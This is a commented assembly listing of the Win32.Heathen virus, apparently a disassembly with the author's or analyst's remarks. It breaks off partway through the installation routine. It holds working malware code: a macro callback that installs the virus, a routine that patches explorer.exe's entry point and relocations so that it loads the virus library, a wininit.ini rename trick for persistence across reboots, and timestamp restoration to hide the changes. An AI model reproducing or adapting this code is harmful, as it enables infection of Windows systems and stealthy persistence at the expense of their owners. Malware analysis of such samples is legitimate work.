Win32.Heathen
; ---------------------------------------------------------------------------
; some definitions of structures

API_STRUC struc
OLE_MemoryAllocator dd ?
GetWindowsDirectoryA dd	?
CopyFileA dd ?
DeleteFileA dd ?
CreateFileA dd ?
ReadFile dd ?
WriteFile dd ?
CloseHandle dd ?
SetFilePointer dd ?
GetFileTime dd ?
SetFileTime dd ?
lstrcatA dd ?
lstrcpyA dd ?
lstrcmpA dd ?
lstrlenA dd ?
StgOpenStorage dd ?
StgCreateDocFile dd ?
CoGetMalloc dd ?
API_STRUC ends

; ---------------------------------------------------------------------------

WIN32_FIND_DATA_STRUC struc
dwFileAttributes dd ?
ftCreationTime dq ?
ftLastAccessTime dq ?
ftLastWriteTime	dq ?
nFileSizeHigh dd ?
nFileSizeLow dd	?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName db 80	dup(?)
cAlternateFileName db 14 dup(?)
WIN32_FIND_DATA_STRUC ends

; ---------------------------------------------------------------------------

STATG_STRUC struc
pwcsName dd ?
type dd	?
cbSize dq ?
mtime dq ?
ctime dq ?
atime dq ?
grfMode	dd ?
grfLocksSupported dd ?
clsid db 16 dup(?)
grfStateBits dd	?
dwStgFmt dd ?
STATG_STRUC ends

; ---------------------------------------------------------------------------

DirectorySTRUC struc
DirectoryName dd ?
NextDirectorySTRUC dd ?
DirectorySTRUC ends

; ---------------------------------------------------------------------------

ILockBytes_Interface struc
QueryInterface dd ?
AddRef dd ?
Release	dd ?
ReadAt dd ?
WriteAt	dd ?
Flush dd ?
SetSize	dd ?
LockRegion dd ?
UnlockRegion dd	?
Stat dd	?
ILockBytes_Interface ends

; ---------------------------------------------------------------------------

WNDCLASS_STRUC struc
style dd ?
lpfnWndProc dd ?
cbClsExtra dd ?
cbWndExtra dd ?
hInstance dd ?
hIcon dd ?
hCursor	dd ?
hbrBackground dd ?
lpszMenuName dd	?
lpszClassName dd ?
WNDCLASS_STRUC ends

; ---------------------------------------------------------------------------

Import struc
OriginalFirstThunk dd ?
TimeDateStamp dd ?
ForwarderChain dd ?
DllName	dd ?
FirstThunk dd ?
Import ends

; ---------------------------------------------------------------------------

Section struc
Name db	8 dup(?)
VirtualSize dd ?
VirtualAddress dd ?
SizeOfRawData dd ?
PointerToRawData dd ?
PointerToRelocations dd	?
PointerToLinenumbers dd	?
NumberOfRelocations dw ?
NumberOfLinenumbers dw ?
Characteristics	dd ?
Section	ends

; ---------------------------------------------------------------------------

IMalloc_Interface struc
QueryInterface dd ?
AddRef dd ?
Release	dd ?
PreAlloc dd ?
PostAlloc dd ?
PreFree	dd ?
PostFree dd ?
PreRealloc dd ?
PostRealloc dd ?
PreGetSize dd ?
PostGetSize dd ?
PreDidAlloc dd ?
PostDidAlloc dd	?
PreHeapMinimize	dd ?
PostHeapMinimize dd ?
IMalloc_Interface ends

; ---------------------------------------------------------------------------

IStream_Interface struc
QueryInterface dd ?
AddRef dd ?
Release	dd ?
Read dd	?
Write dd ?
Seek dd	?
SetSize	dd ?
CopyTo dd ?
Commit dd ?
Revert dd ?
LockRegion dd ?
UnlockRegion dd	?
Stat dd	?
Clone dd ?
IStream_Interface ends

; ---------------------------------------------------------------------------

IStorage_Interface struc
QueryInterface dd ?
AddRef dd ?
Release	dd ?
CreateStream dd	?
OpenStream dd ?
CreateStorage dd ?
OpenStorage dd ?
CopyTo dd ?
MoveElementTo dd ?
Commit dd ?
Revert dd ?
EnumElements dd	?
DestroyElement dd ?
RenameElement dd ?
SetElementTimes	dd ?
SetClass dd ?
SetStateBits dd	?
Stat dd	?
IStorage_Interface ends


;
; File Name   : heathen.vdl
; Format      :	Portable executable (PE)
; Section 1. (virtual address 00001000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00001600 (   5632.)
; Offset to raw	data for section: 00000600
; Flags	60000020: Text Executable Readable
; Alignment	: 16 bytes ?


unicode		macro page,string,zero
  irpc c,<string>
  db '&c', page
  endm
  ifnb <zero>
  dw zero
  endif
endm

p586
  model	flat

; ---------------------------------------------------------------------------

; Segment type:	Pure code
CODE segment para public 'CODE' use32
  assume cs:CODE
  ;org 401000h
  assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing

; --------------- S U B	R O U T	I N E ---------------------------------------

; Virus	macro calls this routine through Callback24 API
; Attributes: bp-based frame

Callback24_code	proc near

HEATHEN_BASE= dword ptr	 8
ActiveDocument=	dword ptr  0Ch
GetProcAddress=	dword ptr  10h
KERNEL32= dword	ptr  14h
OLE32= dword ptr  18h

  push	ebp
  mov	ebp, esp
  pusha
  push	[ebp+OLE32]
  push	[ebp+KERNEL32]
  push	[ebp+GetProcAddress]
  push	[ebp+ActiveDocument]
  mov	eax, [ebp+HEATHEN_BASE]
  push	eax
  mov	ebx, eax
  add	ebx, 663h   ; EBX = raw	offset of Explorer patch code, equivalent to Virtual Address 401063h
  push	ebx
  sub	eax, 401400h ; VAdata-403000h =	RAWdata-1C00h  ==> RAWdata = VAdata - 401400h
  push	eax
  call	InstallVIRUS
  popa
  pop	ebp
  retn	14h
Callback24_code	endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

asciiz_to_unicode proc near

ASCIIZ=	dword ptr  8
UNICODE= dword ptr  0Ch

  push	ebp
  mov	ebp, esp
  pusha
  xor	eax, eax
  mov	esi, [ebp+ASCIIZ]
  mov	edi, [ebp+UNICODE]
  cld

NextCharacter:
  lodsb
  stosw		    ; convert to unicode, for use with OLE functions
  or	eax, eax
  jnz	short NextCharacter
  popa
  pop	ebp
  retn
asciiz_to_unicode endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

UpperCase proc near

ASCIIZ_String= dword ptr  8

  push	ebp
  mov	ebp, esp
  push	eax
  push	esi
  mov	esi, [ebp+ASCIIZ_String]

Next_Character:
  mov	al, [esi]
  cmp	al, 'a'
  jb	short notlowercase
  cmp	al, 'z'
  ja	short notlowercase
  sub	al, 20h	    ; convert tu uppercase
  mov	[esi], al

notlowercase:
  inc	esi
  or	al, al
  jnz	short Next_Character
  pop	esi
  pop	eax
  pop	ebp
  retn
UpperCase endp


; --------------- S U B	R O U T	I N E ---------------------------------------


Explorer_Patch_Code proc near
  pusha		    ; save registers

Library_Name:
  push	0	    ; VA address of string "Heathen.vdl"

API_Name:
  mov	eax, 0	    ; VA of LoadLibraryA API
  call	dword ptr [eax]
  popa		    ; restore registers

Old_EntryPoint:
  push	0	    ; original EntryPoint of explorer.exe
  retn
Explorer_Patch_Code endp

; ---------------------------------------------------------------------------
aHeathen_vdl_0 db 'Heathen.vdl'
  db 0
Encrypted_Text db 0A8h,0B8h,0CFh,0C8h,0DFh,0DDh,0B7h, 9Ah
  db  9Eh, 8Bh,	97h, 9Ah, 91h,0DDh,0DFh,0BCh
  db  90h, 8Fh,	86h, 8Dh, 96h, 98h, 97h, 8Bh
  db 0DFh,0D7h,0BCh,0D6h,0DFh,0CEh,0C6h,0C6h
  db 0CAh,0D2h,0CEh,0C6h,0C6h,0C6h,0DFh, 9Dh
  db  86h,0DFh,0A8h, 90h, 90h, 9Bh,0B8h, 90h
  db  9Dh, 93h,	96h, 91h,0DBh
  assume ds:nothing

; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

  public DLL_EntryPoint
DLL_EntryPoint proc near

hinstDLL= dword	ptr  8
fdwReason= dword ptr  0Ch
lpvReserved= dword ptr	10h

  push	ebp	    ; this is the EntryPoint of	Heathen.vdl library
  mov	ebp, esp
  push	[ebp+fdwReason]	; reason for calling function
  push	[ebp+hinstDLL] ; handle	of DLL module
  call	DllMain
  pop	ebp
  retn	0Ch
DLL_EntryPoint endp

; ---------------------------------------------------------------------------
  align	4

; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

GetAPIAddresses proc near

APIs= dword ptr	 8
GetProcAddress=	dword ptr  0Ch
VA2RAW=	dword ptr  10h
KERNEL32= dword	ptr  14h
OLE32= dword ptr  18h

  push	ebp
  mov	ebp, esp
  push	ebx
  push	esi
  push	edi
  mov	eax, offset aGetWindowsDirectoryA ; VirtualAddress of API name
  mov	edi, [ebp+VA2RAW] ; delta to convert VA	into RAW offset	(where its located in memory)
  mov	esi, [ebp+GetProcAddress]
  add	eax, edi
  mov	ebx, [ebp+APIs]
  push	eax	    ; API name
  push	[ebp+KERNEL32] ; module	handle
  call	esi
  mov	[ebx+API_STRUC.GetWindowsDirectoryA], eax
  mov	edx, offset aCopyFileA
  add	edx, edi
  push	edx	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.CopyFileA], eax
  mov	ecx, offset DeleteFileA
  add	ecx, edi
  push	ecx	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.DeleteFileA], eax
  mov	eax, offset aCreateFileA
  add	eax, edi
  push	eax	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.CreateFileA], eax
  mov	edx, offset aReadFile
  add	edx, edi
  push	edx	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.ReadFile], eax
  mov	ecx, offset aWriteFile
  add	ecx, edi
  push	ecx	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.WriteFile], eax
  mov	eax, offset aCloseHandle
  add	eax, edi
  push	eax	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.CloseHandle], eax
  mov	edx, offset aSetFilePointer
  add	edx, edi
  push	edx	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.SetFilePointer],	eax
  mov	ecx, offset aGetFileTime
  add	ecx, edi
  push	ecx	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.GetFileTime], eax
  mov	eax, offset aSetFileTime
  add	eax, edi
  push	eax	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.SetFileTime], eax
  mov	edx, offset alstrcatA
  add	edx, edi
  push	edx	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.lstrcatA], eax
  mov	ecx, offset alstrcpyA
  add	ecx, edi
  push	ecx	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.lstrcpyA], eax
  mov	eax, offset alstrcmpA
  add	eax, edi
  push	eax	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.lstrcmpA], eax
  mov	edx, offset alstrlenA
  add	edx, edi
  push	edx	    ; API name
  push	[ebp+KERNEL32] ; KERNEL32 base
  call	esi
  mov	[ebx+API_STRUC.lstrlenA], eax
  mov	ecx, offset aStgOpenStorage
  add	ecx, edi
  push	ecx	    ; API name
  push	[ebp+OLE32] ; OLE32 base
  call	esi
  mov	[ebx+API_STRUC.StgOpenStorage],	eax
  mov	eax, offset aStgCreateDocfile
  add	eax, edi
  push	eax	    ; API name
  push	[ebp+OLE32] ; OLE32 base
  call	esi
  mov	[ebx+API_STRUC.StgCreateDocFile], eax
  add	edi, offset aCoGetMalloc
  push	edi	    ; API name
  push	[ebp+OLE32] ; OLE32 base
  call	esi
  mov	[ebx+API_STRUC.CoGetMalloc], eax
  push	ebx	    ; store in first field of API_STRUC	a pointer to the Memory	Allocator
  push	1	    ; must be 1
  call	[ebx+API_STRUC.CoGetMalloc] ; Retrieves	a pointer to the default OLE task memory allocator
  pop	edi
  pop	esi
  pop	ebx
  pop	ebp
  retn
GetAPIAddresses	endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

PatchEXPLORER proc near

PEheader= byte ptr -120h
MZheader= byte ptr -78h
pImportDirectory= dword	ptr -38h
LoadLibraryA_present= dword ptr	-34h
reloc_section= dword ptr -30h
malloc_idata= dword ptr	-2Ch
malloc_sections= dword ptr -28h
readbytes= dword ptr -24h
WriteTime= qword ptr -20h
AccessTime= qword ptr -18h
CreationTime= qword ptr	-10h
FileHandle= dword ptr -8
error= dword ptr -4
APIs= dword ptr	 8
WINDOWS_HeathenVEX= dword ptr  0Ch
API_LoadLibraryA= dword	ptr  10h
MODULE_Kernel32= dword ptr  14h
Patch_RAWoffset= dword ptr  18h

  push	ebp
  mov	ebp, esp
  add	esp, 0FFFFFEE0h
  xor	eax, eax
  push	ebx
  push	esi
  push	edi
  mov	esi, [ebp+APIs]
  mov	[ebp+error], eax
  push	0	    ; NULL
  push	10000000h   ; FILE_FLAG_RANDOM_ACCESS (to optimize file	caching)
  push	3	    ; OPEN_EXISTING
  push	0	    ; NULL = handle cannot be inherited
  push	0	    ; 0	= prevent file from being shared
  push	0C0000000h  ; GENERIC_READ + GENERIC_WRITE
  push	[ebp+WINDOWS_HeathenVEX]
  call	[esi+API_STRUC.CreateFileA] ; open file
  mov	[ebp+FileHandle], eax ;	file handle
  lea	edx, [ebp+WriteTime]
  push	edx
  lea	ecx, [ebp+AccessTime]
  push	ecx
  lea	eax, [ebp+CreationTime]
  push	eax
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.GetFileTime] ; GetFileTime
  lea	edx, [ebp+readbytes] ; actual number of	bytes read
  push	0	    ; NULL
  push	edx
  lea	ecx, [ebp+MZheader] ; buffer for MZ header
  push	40h	    ; number of	bytes to read
  push	ecx
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.ReadFile] ; read	MZ header
  push	0
  push	0
  push	dword ptr [ebp+MZheader+3Ch] ; read pointer to new executable header
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.SetFilePointer] ; set file pointer to beginning of PE header
  lea	eax, [ebp+readbytes]
  push	0
  push	eax
  lea	edx, [ebp+PEheader]
  push	0A8h	    ; read A8h bytes of	PE header
  push	edx
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.ReadFile] ; ReadFile
  mov	ecx, dword ptr [ebp+PEheader+28h] ; entrypoint
  cmp	ecx, dword ptr [ebp+PEheader+0A0h] ; relocs start
  jnz	short error11 ;	both must be different from zero!
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.CloseHandle] ; close file
  xor	eax, eax    ; return with error
  jmp	error10
; ---------------------------------------------------------------------------

error11:
  movzx	edx, word ptr [ebp+PEheader+6] ; number	of sections
  mov	ecx, edx
  shl	ecx, 3
  lea	ecx, [ecx+ecx*4] ; ecx = size of sections
  push	ecx	    ; number of	bytes to reserve
  mov	eax, [esi]
  push	eax	    ; IMalloc
  mov	edx, [eax]
  call	[edx+IMalloc_Interface.PreAlloc] ; reserve memory for sections
  mov	[ebp+malloc_sections], eax ; pointer to	buffer of sections
  push	dword ptr [ebp+PEheader+84h] ; idata (import section) size
  mov	ecx, [esi]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IMalloc_Interface.PreAlloc] ; reserve memory for idata section
  mov	[ebp+malloc_idata], eax	; pointer to buffer of idata
  cmp	[ebp+malloc_sections], 0 ; malloc ok?
  jz	short error12
  cmp	[ebp+malloc_idata], 0 ;	malloc ok?
  jnz	short malloc_ok

error12:
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.CloseHandle] ; close file
  xor	eax, eax    ; return with error
  jmp	error10
; ---------------------------------------------------------------------------

malloc_ok:
  push	0	    ; FILE_BEGIN
  push	0	    ; high dword of file pointer
  movzx	edx, word ptr [ebp+PEheader+14h] ; NT Optional Header Size
  add	edx, dword ptr [ebp+MZheader+3Ch] ; offset of PE header
  add	edx, 18h    ; size of PE File Header
  push	edx	    ; low dword	of file	pointer
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.SetFilePointer] ; SetFilePointer
  push	0	    ; NULL
  lea	ecx, [ebp+readbytes]
  push	ecx
  movzx	eax, word ptr [ebp+PEheader+6] ; number	of sections
  mov	edx, eax
  shl	edx, 3
  lea	edx, [edx+edx*4] ; edx = size of sections
  push	edx
  push	[ebp+malloc_sections] ;	buffer to store	info of	sections
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.ReadFile] ; read	sections table
  movzx	eax, word ptr [ebp+PEheader+6]
  dec	eax
  test	eax, eax
  jl	short found_idata

check_next_section:
  lea	edx, [eax+eax*4]
  mov	ecx, [ebp+malloc_sections]
  mov	edx, [ecx+edx*8+Section.VirtualAddress]
  cmp	edx, dword ptr [ebp+PEheader+80h]
  jle	short found_idata ; rva	inside idata
  dec	eax
  test	eax, eax
  jge	short check_next_section

found_idata:
  movzx	ecx, word ptr [ebp+PEheader+6]
  dec	ecx	    ; last section
  mov	[ebp+reloc_section], ecx
  cmp	[ebp+reloc_section], 0
  jl	short found_relocs

check_next_section2:
  mov	edx, [ebp+reloc_section]
  lea	edx, [edx+edx*4]
  mov	ecx, [ebp+malloc_sections]
  mov	edx, [ecx+edx*8+Section.VirtualAddress]
  cmp	edx, dword ptr [ebp+PEheader+0A0h] ; rva of relocs
  jle	short found_relocs ; reloc section found!
  dec	[ebp+reloc_section]
  cmp	[ebp+reloc_section], 0
  jge	short check_next_section2

found_relocs:
  push	0	    ; FILE_BEGIN
  push	0
  lea	edx, [eax+eax*4] ; EAX=idata section number
  mov	ecx, [ebp+malloc_sections]
  mov	eax, [ebp+malloc_sections]
  mov	ebx, dword ptr [ebp+PEheader+80h] ; idata RVA
  sub	ebx, [ecx+edx*8+Section.VirtualAddress]
  add	ebx, [eax+edx*8+Section.PointerToRawData]
  push	ebx	    ; RAW offset of idata
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.SetFilePointer] ; set file pointer to beginning of idata
  push	0	    ; NULL
  lea	edx, [ebp+readbytes]
  push	edx
  push	dword ptr [ebp+PEheader+84h] ; size of idata
  push	[ebp+malloc_idata] ; buffer to read idata info
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.ReadFile] ; read	all idata
  xor	ecx, ecx
  mov	[ebp+LoadLibraryA_present], ecx
  mov	eax, [ebp+malloc_idata]
  mov	[ebp+pImportDirectory],	eax ; actual import directory
  jmp	next_importentry2
; ---------------------------------------------------------------------------

check_importentry:
  mov	ebx, eax
  add	ebx, [ebp+malloc_idata]	; start	of idata buffer
  sub	ebx, dword ptr [ebp+PEheader+80h] ; (this is because buffer may	have not been read at start of idata section)
  push	ebx
  call	UpperCase   ; convert all to uppercase
  pop	ecx
  push	[ebp+MODULE_Kernel32] ;	KERNEL32.DLL name
  push	ebx
  call	[esi+API_STRUC.lstrcmpA] ; compare DLL name
  test	eax, eax
  jnz	short next_importentry ; not the same
  mov	eax, [ebp+pImportDirectory]
  mov	edi, [eax+Import.OriginalFirstThunk] ; EDI = RVA of import lookup table
  add	edi, [ebp+malloc_idata]
  sub	edi, dword ptr [ebp+PEheader+80h] ; EDI	= converted to RAW offset
  xor	ebx, ebx    ; EBX = 0 =	start of array
  jmp	short next_api0
; ---------------------------------------------------------------------------

more_apis:
  test	eax, eax
  jle	short next_api ; its not imported by name
  add	eax, [ebp+malloc_idata]
  sub	eax, dword ptr [ebp+PEheader+80h]
  add	eax, 2	    ; skip HINT	field
  push	[ebp+API_LoadLibraryA] ; "LoadLibraryA"
  push	eax
  call	[esi+API_STRUC.lstrcmpA] ; compare API name
  test	eax, eax
  jnz	short next_api ; not the same
  mov	eax, [ebp+pImportDirectory]
  mov	ecx, ebx
  shl	ecx, 2
  mov	edx, [eax+Import.FirstThunk] ; RVA of import address table
  mov	eax, offset API_Name+1
  add	edx, ecx    ; select corresponding RVA from array of RVAs
  sub	eax, offset Explorer_Patch_Code	; start	of bytes that will be written to explorer.exe
  add	eax, [ebp+Patch_RAWoffset] ; entrypoint	of that	routine
  add	edx, dword ptr [ebp+PEheader+34h] ; add	ImageBase
  mov	[eax], edx  ; RVA where	LoadLibraryA address will be stored
  xor	edx, edx
  mov	[ebp+LoadLibraryA_present], 1 ;	LoadLibraryA found!  :D
  mov	[edi+ebx*4+4], edx ; make next api entry NULL, so it exits quickly, because the	LoadLibrary has	already	been found! ;D
  xor	eax, eax
  mov	ecx, [ebp+pImportDirectory]
  mov	[ecx+20h], eax ; make next import entry	NULL to	exit quickly, we now have what we need	;D

next_api:
  inc	ebx

next_api0:
  mov	eax, [edi+ebx*4]
  test	eax, eax
  jnz	short more_apis	; still	more imported APIs to check

next_importentry:
  add	[ebp+pImportDirectory],	14h ; next import entry

next_importentry2:
  mov	edx, [ebp+pImportDirectory] ; actual import entry
  mov	eax, [edx+Import.DllName] ; RVA	of imported dll	name
  test	eax, eax
  jnz	check_importentry ; check these	dll imports
  cmp	[ebp+LoadLibraryA_present], 0
  jz	error13	    ; error, LoadLibraryA not imported
  mov	edx, offset aHeathen_vdl_0
  mov	ecx, offset Library_Name+1
  add	edx, dword ptr [ebp+PEheader+0A0h]
  sub	ecx, offset Explorer_Patch_Code
  add	ecx, [ebp+Patch_RAWoffset] ; ECX = location in memory that contains VA (for explorer.exe) of Library name
  sub	edx, offset Explorer_Patch_Code
  add	edx, dword ptr [ebp+PEheader+34h] ; EDX	= Virtual Address (when	executing explorer.exe)	of Library Name
  mov	eax, offset Old_EntryPoint+1
  mov	[ecx], edx  ; store that virtual address in the	patch code
  sub	eax, offset Explorer_Patch_Code
  add	eax, [ebp+Patch_RAWoffset] ; EAX = location in memory that contains VA (for explorer.exe) of its original EntryPoint
  mov	edx, dword ptr [ebp+PEheader+28h]
  add	edx, dword ptr [ebp+PEheader+34h] ; EDX	= original EntryPoint
  mov	[eax], edx  ; store old	EntryPoint in the patch	code
  push	0	    ; FILE_BEGIN
  push	0
  mov	eax, [ebp+reloc_section] ; number of the reloc section
  mov	edx, [ebp+malloc_sections] ; buffer of sections	table
  mov	ecx, dword ptr [ebp+PEheader+0A0h] ; RVA of relocs
  lea	eax, [eax+eax*4]
  sub	ecx, [edx+eax*8+Section.VirtualAddress]	; relative RVA from beginning of reloc section
  mov	edx, [ebp+malloc_sections]
  add	ecx, [edx+eax*8+Section.PointerToRawData] ; ECX	= RAW offset of	start of relocs
  push	ecx
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.SetFilePointer] ; set file pointer to start of relocs blocks
  push	0	    ; NULL
  lea	eax, [ebp+readbytes] ; here will be returned the actual	number of bytes	written
  push	eax
  mov	ecx, offset Encrypted_Text
  sub	ecx, offset Explorer_Patch_Code	; ECX =	size of	code to	patch
  push	ecx
  push	[ebp+Patch_RAWoffset]
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.WriteFile] ; write patch	code at	beginning of relocs blocks
  mov	eax, dword ptr [ebp+PEheader+0A0h]
  mov	dword ptr [ebp+PEheader+28h], eax ; set	new EntryPoint to point	to the virus routine  ;-)
  push	0	    ; FILE_BEGIN
  push	0
  push	dword ptr [ebp+MZheader+3Ch]
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.SetFilePointer] ; set file pointer to PEheader start
  lea	edx, [ebp+readbytes]
  push	0
  push	edx
  lea	ecx, [ebp+PEheader]
  push	0A8h	    ; size of PE header
  push	ecx
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.WriteFile] ; write PE header
  mov	[ebp+error], 1 ; indicate we have patch	explorer.exe successfully

error13:
  push	[ebp+malloc_sections]
  mov	eax, [esi]
  push	eax
  mov	edx, [eax]
  call	[edx+IMalloc_Interface.PreFree]	; free memory
  push	[ebp+malloc_idata]
  mov	ecx, [esi]
  push	ecx
  mov	eax, [ecx]
  call	[eax+IMalloc_Interface.PreFree]	; free memory
  lea	edx, [ebp+WriteTime]
  push	edx
  lea	ecx, [ebp+AccessTime]
  push	ecx
  lea	eax, [ebp+CreationTime]
  push	eax
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.SetFileTime] ; restore file time
  push	[ebp+FileHandle]
  call	[esi+API_STRUC.CloseHandle] ; close handle
  mov	eax, [ebp+error] ; return error

error10:
  pop	edi
  pop	esi
  pop	ebx
  mov	esp, ebp
  pop	ebp
  retn
PatchEXPLORER endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; Attributes: bp-based frame

CreateWININIT proc near

String=	byte ptr -260h
BytesWritten= dword ptr	-8
Character_Equal= dword ptr -4
APIs= dword ptr	 8
WINDOWS_WininitINI= dword ptr  0Ch
WINDOWS_ExplorerEXE= dword ptr	10h
WINDOWS_HeathenVEX= dword ptr  14h
HEATHEN_BASE= dword ptr	 18h

  push	ebp
  mov	ebp, esp
  add	esp, 0FFFFFDA0h
  mov	eax, offset aRename
  lea	edx, [ebp+String]
  push	ebx
  push	esi
  add	eax, [ebp+HEATHEN_BASE]
  mov	ebx, [ebp+APIs]	; APIs array
  push	eax
  push	edx
  call	[ebx+API_STRUC.lstrcpyA] ; create section [rename]
  push	[ebp+WINDOWS_ExplorerEXE]
  lea	ecx, [ebp+String]
  push	ecx
  call	[ebx+API_STRUC.lstrcatA] ; add "c:windowsexplorer.exe"
  mov	[ebp+Character_Equal], '='
  lea	eax, [ebp+Character_Equal]
  lea	edx, [ebp+String]
  push	eax
  push	edx
  call	[ebx+API_STRUC.lstrcatA] ; add "="
  push	[ebp+WINDOWS_HeathenVEX]
  lea	ecx, [ebp+String]
  push	ecx
  call	[ebx+API_STRUC.lstrcatA] ; add "c:windowsheathen.vex"
  push	0	    ; NULL
  push	20h	    ; FILE_ATTRIBUTE_ARCHIVE
  push	2	    ; CREATE_ALWAYS
  push	0	    ; NULL = file handle cannot	be inherited
  push	0	    ; 0	= prevent file from being shared
  push	40000000h   ; GENERIC_WRITE
  push	[ebp+WINDOWS_WininitINI]
  call	[ebx+API_STRUC.CreateFileA] ; create file "c:windowswininit.ini"
  mov	esi, eax
  push	0	    ; NULL
  lea	eax, [ebp+BytesWritten]	; actual number	of bytes written
  push	eax
  lea	edx, [ebp+String]
  push	edx
  call	[ebx+API_STRUC.lstrlenA] ; get length of string	to write
  push	eax	    ; number of	bytes to write
  lea	ecx, [ebp+String]
  push	ecx	    ; buffer for write
  push	esi	    ; file handle
  call	[ebx+API_STRUC.WriteFile]
  push	esi
  call	[ebx+API_STRUC.CloseHandle] ; close file
  pop	esi
  pop	ebx
  mov	esp, ebp
  pop	ebp
  retn
CreateWININIT endp


; --------------- S U B	R O U T	I N E ---------------------------------------

; This routine install virus in	system,	so next	reboot explorer.exe will load Heathen.vdl library
; Attributes: bp-based frame

InstallVIRUS proc near

Buffer=	byte ptr -0E28h
UNICODE_HeathenVdo= byte ptr -0C28h
UNICODE_HtmpDoc= byte ptr -9D0h
WINDOWS_WininitINI= byte ptr -778h
WINDOWS_HeathenVDO= byte ptr -64Ch
WINDOWS_HeatheVDL= byte	ptr -520h
WINDOWS_HeathenVEX= byte ptr -3F4h
WINDOWS_ExplorerEXE= byte ptr -2C8h
WINDOWS_HtmpDOC= byte ptr -19Ch
APIs= API_STRUC	ptr -70h
writtenbytes= dword ptr	-28h
FileHandle= dword ptr -24h
StreamSeek= qword ptr -20h
MacrosSize= dword ptr -18h
MacrosOffset= dword ptr	-14h
xTable=	dword ptr -10h
IStream1= dword	ptr -0Ch
IStorage2= dword ptr -8
IStorage1= dword ptr -4
VA2RAW=	dword ptr  8
Patch_code= dword ptr  0Ch
HEATHEN_BASE= dword ptr	 10h
ActiveDocument=	dword ptr  14h
GetProcAddress=	dword ptr  18h
KERNEL32= dword	ptr  1Ch
OLE32= dword ptr  20h

  push	ebp
  mov	ebp, esp
  add	esp, 0FFFFF1D8h	; suck stack! yeah!  8-P
  push	ebx
  push	esi
  push	edi
  mov	ebx, [ebp+VA2RAW]
  push	[ebp+OLE32]
  push	[ebp+KERNEL32]
  push	ebx
  push	[ebp+GetProcAddress]
  lea	eax, [ebp+APIs]	; address to store API addresses
  push	eax
  call	GetAPIAddresses	; get all APIs
  add	esp, 14h
  lea	edx, [ebp+WINDOWS_HtmpDOC]
  push	12Ch	    ; buffer size
  push	edx
  call	[ebp+APIs.GetWindowsDirectoryA]	; get windows directory, and store it in 6 buffers
  lea	ecx, [ebp+WINDOWS_HtmpDOC]
  lea	eax, [ebp+WINDOWS_ExplorerEXE]
  push	ecx
  push	eax
  call	[ebp+APIs.lstrcpyA]
  lea	edx, [ebp+WINDOWS_HtmpDOC]
  lea	ecx, [ebp+WINDOWS_HeathenVEX]
  push	edx
  push	ecx
  call	[ebp+APIs.lstrcpyA]
  lea	eax, [ebp+WINDOWS_HtmpDOC]
  lea	edx, [ebp+WINDOWS_HeatheVDL]
  push	eax
  push	edx
  call	[ebp+APIs.lstrcpyA]
  lea	ecx, [ebp+WINDOWS_HtmpDOC]
  lea	eax, [ebp+WINDOWS_HeathenVDO]
  push	ecx
  push	eax
  call	[ebp+APIs.lstrcpyA]
  lea	edx, [ebp+WINDOWS_HtmpDOC]
  lea	ecx, [ebp+WINDOWS_WininitINI]
  push	edx
  push	ecx
  call	[ebp+APIs.lstrcpyA]
  mov	eax, offset aHtmp_doc
  lea	edx, [ebp+WINDOWS_HtmpDOC]
  add	eax, ebx
  push	eax
  push	edx
  call	[ebp+APIs.lstrcatA] ; c:windowsHtmp.doc
  mov	ecx, offset aExplorer_exe
  lea	eax, [ebp+WINDOWS_ExplorerEXE]
  add	ecx, ebx
  push	ecx
  push	eax
  call	[ebp+APIs.lstrcatA] ; c:windowsExplorer.exe
  mov	edx, offset aHeathen_vex
  lea	ecx, [ebp+WINDOWS_HeathenVEX]
  add	edx, ebx
  push	edx
  push	ecx
  call	[ebp+APIs.lstrcatA] ; c:windowsHeathen.vex
  mov	eax, offset aHeathen_vdl
  lea	edx, [ebp+WINDOWS_HeatheVDL]
  add	eax, ebx
  push	eax
  push	edx
  call	[ebp+APIs.lstrcatA] ; c:windowsHeathen.vdl
  mov	ecx, offset aHeathen_vdo
